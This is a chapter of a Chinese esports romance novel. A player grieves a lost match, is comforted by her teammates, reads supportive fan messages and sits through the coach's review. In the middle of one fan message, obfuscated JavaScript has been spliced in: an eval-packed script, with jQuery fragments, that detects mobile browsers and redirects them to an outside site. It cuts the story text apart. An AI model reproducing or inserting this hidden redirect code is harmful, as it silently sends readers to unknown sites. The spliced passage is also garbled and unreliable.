当牧翊走进休息室时，看到的是郑予姗一个人坐在椅子上的身影。


    她低着头，黑色的发丝乱乱地披散，弓起的脊背呈现出痛苦的样子，脚边摆着一个黑色垃圾桶。


    牧翊从桌子上抽了两张卫生纸递到她的面前，然后问道。


    “要不要去医院？”


    她一声不吭地接过纸，但并没有抬头。


    过一会儿缓过神来后，她才声音沙哑地开口答道：“没那么严重，我还好。”


    “太有责任心、把所有事情都揽在自己身上不是什么好事。”他突然说，“总是自责的话，会让负面情绪毁掉自己的。”


    郑予姗抬起头，望向一直注视着她的牧翊。


    她的脸色苍白如纸，嘴唇一点血色都没有。


    “我根本不会托卡塔，我不该选的。”


    明明在比赛之前，队友们提前安慰过她，让她不用这么有心理负担，比赛有输有赢，小组赛能够全胜无疑是一种理想的状态，但若是输掉了一场也不应该过于内耗，真正的中心要放在之后的淘汰赛上。


    但此刻的痛苦是真实而沉重的，像是苦咸的海水灌入她的肺里，让她连呼吸都变得困难。


    “你和他们先走吧，不用管我。”她紧接着说。


    “没有把你一个人留在这里的道理，”他说，“而且今天输比赛不是你的问题。”


    “……”她有一瞬间的恍惚，“谢谢你安慰我。”


    因为考虑到有人在等她，郑予姗稍微坐了一会，身体没那么不舒服了就用手臂撑着椅子试图起身，但右臂有一瞬间的脱力。


    见状，牧翊朝着她伸出了手。


    郑予姗微微怔神了片刻，随后缓慢地、一点点抬起自己的右手，搭在了他的掌心上。


    “没事了。”


    略微施力反握住她的手掌，牧翊缓缓地将她牵起来。


    “我们回去吧。”


    ——


    郑予姗上车的时候，车上的几人都注意到了她略显苍白的脸色与低沉的情绪。


    “你还好吧？”青颜关心地询问道。


    “已经好多了。”郑予姗点点头，抱着外设包坐在自己的座位上。


    淞子也说：“别这么难过啊文神，不要把所有的压力都一个人承担。”


    她闷声道：“我只是觉得今天AHE状态并不好，可即使在这样的情况下我还是没能打出优势来。”


    “所以，你是因为觉得AHE太菜了所以接受不了输给他们？”


    淞子的总结直白得过头。


    “不……”郑予姗被他的这句话哽了一下，“也不能这么说。”


    “没事的没事的，在厨神大比拼里输了不丢人。”淞子故意把语气放得很轻松。


    青颜：“怎么说话呢，注意言辞，不要攻击对手和队友。”


    在坐车回基地的过程中，郑予姗打开手机，准备看一点别的东西稍微缓解一下心情。


    牧翊转头的时候不小心瞥见她手机屏幕上的页面，帖子标题十分刺眼“换队伍之后仍然喜提0：2，Windy是不是这辈子都打不赢AHE了”。


    “这些帖子一天一个口径，”他皱起眉头，“别看了。”


    郑予姗其实本来只是想随便刷点东西转移一下注意力，可是手指凭借肌肉记忆顺畅无比地点进了DEL赛事论坛。


    淞子扭过头来：“文神你……比赛刚结束就看论坛啊，真不愧是神一样的大心脏。”


    “看习惯了……”


    “我之前也看啊，但后来被大规模地骂过一次后就戒掉了。一般这种比赛输了之后就会有人开帖问这把谁的锅，然后评论区全是‘0：2还分什么锅’‘根本没有一个是人类’‘蠕动进世界赛就算成功’这种。我以前对我自己的黑称都如数家珍呢，可惜不知道如今更新换代了没有。”


    “你之前是在AFG打吧，淞子？”青颜向他确认道，“那你当初心理承受能力也挺强的。”


    郑予姗当然也听说过AFG，在三四年前这也是一支横空出世的热门队伍。当初AFG刚建队时，上中下这三个位置都是花大价钱买入的、已经打出了名堂的知名选手。可AFG一直没有在国际赛事上取得令人满意的成绩，导致了后来股东撤资、队员出走，如今早已沉寂。


    “哎呀哎呀，那时候年轻气盛，现在我输了的话根本不会看论坛的，只有赢的时候会逛一下，然后用小号在粉丝的抽奖帖下面回复恭喜恭喜沾沾喜气，虽然到目前为止我只抽中过一次。”


    郑予姗顺着他的话问道：“抽到什么奖品了？”


    淞子深呼吸酝酿了一下，随后一口气说道：“LOG电子竞技俱乐部官方旗舰店春季赛Song同款选手队服夹克外套带id版仅拆封检查商品完整度未试穿邮费自理不可折现同城可自提。”


    “怎么会去抽自己的队服？”她略带困惑地发问。


    淞子的表情流露出几分无奈：“我参加抽奖帖的时候压根没注意奖品是什么啊，看到一句‘给Song选手抽奖，不抽喊过Song黑称的’，我就进去跟帖了。”


    “然后呢？”


    “然后我和她说我已经有同款队服了，决定放弃奖品让她重新抽。不然我也没办法真要吧，难道收货地址填基地或者我家？但是那个楼主明显不信，她说你不会是叫过Song的黑称害怕被扒出来吧，然后我小号就被挂黑了，理由是干扰抽奖。”淞子苦兮兮地唉声叹气。


    郑予姗忍不住笑了一下。


    她知道比赛输了之后大家的情绪都不高，淞子这样无非是为了缓和气氛。


    这番交谈缓解了她低落的情绪，她关掉了手机屏幕上的论坛帖子，切换社交软件，打开了自己账号的私信箱。


    里面的消息堆得很满，有许多都显示发送于几秒钟之前。


    这些消息几乎都是鼓励与安慰，以及表述着对她的关心与信任。


    【亲爱的姗姗，虽然知道你自己的目标一定不止于此，但六胜一负已经特别棒啦！下一轮一定


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009378|178182||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会取得更好的成绩！】


    【最近比赛很辛苦吧文鸟，一定要注意身体啊！夏天是充满奇迹的季节，而你是每天都为我们带来惊喜的人，你每一场比赛的进步与突破我们都看得到。我一定会去现场看一次你的比赛，一定会的！】


    郑予姗一篇篇地翻看着，被数不清的爱意拥裹，内心也逐渐安定下来。


    ——


    回到基地之后，教练在训练室里对这场比赛进行了复盘。


    “有几个主要的问题。第一局因为前期一直在拉扯，形成了一种微妙的平衡，导致中期对面发挥失常后我们这边也跟着自乱阵脚了，这说明状态还不够稳定。”


    “至于第二局，虽然卡戎这个角色的传送功能很超标，但正因为这样，他在其他方面可以说是几乎没有任何作用，没控制没伤害，也没有保人能力。我们前期抓下的思路是正确的，但在普雅开始转线之后没有进行及时的反制。应该早一点开始压线打团，趁普雅刚传过来并且卡戎的传送技能还在冷却的时候，让他们吃不到兵线也守不住塔。”


    “我今天的阵容选择也有问题，让无妄离去切对面C位的效果不够理想，还是应该让打野拿刺客，化骨蝶就很适合。第二把如果用前中期阵容平推的话，胜算会大一点。但当时考虑到AHE是强队可能会拉扯很久，所以才会太过关注于后期的发展。现在再一分析这把对面的阵容，会发现当时的顾虑太多余了。”


    LOG打完了小组赛的第一轮，下一场比赛在六天之后，战队给他们放了两天的假。


    郑予姗是最后一个离开训练室的，她找了一些职业比赛上含有卡戎登场的对局回放来研究。


    卡戎的登场率其实一直非常低，但凡被选出来都是搭配着大核角色，尽管这样，团战时相当于直接少了一个人的感觉明显还是很难受。


    AHE今天的这一把，在所有包含卡戎出场的对局里算是打得比较成功的了。


    如果需要克制卡戎，就必须根据经验判断好他可能出现的位置，然后不让与他绑定的那个角色发育起来。


    郑予姗推开训练室的房间门时，有些意外地发现牧翊竟然一个人等在门外。


    他听着动静抬起头，解释道：“只是想知道你今天会在训练室里待到几点。”


    郑予姗原本以为他是有什么话想单独和他说，没想到听见的居然是这样的一个理由。


    于是她并不明显地笑了笑：“比你想象中离开得要早一点，是吧？”


    “的确。那明天呢？明天是休假日，你不会还准备训练到这个点吧？”牧翊问。


    郑予姗突然仰起头，神情认真地凑近些许，那双黑曜石般漂亮的眼睛就这样直白地注视着他。


    在感受到他呼吸一瞬间的停滞之后，她又忽地后撤一步。


    “你猜。”她说。


    “如果想知道的话，可以明天来双排辅助我。”


    扔下这样一句话，她像一片轻盈的羽毛一样从他的身边穿过，只留他站在原地。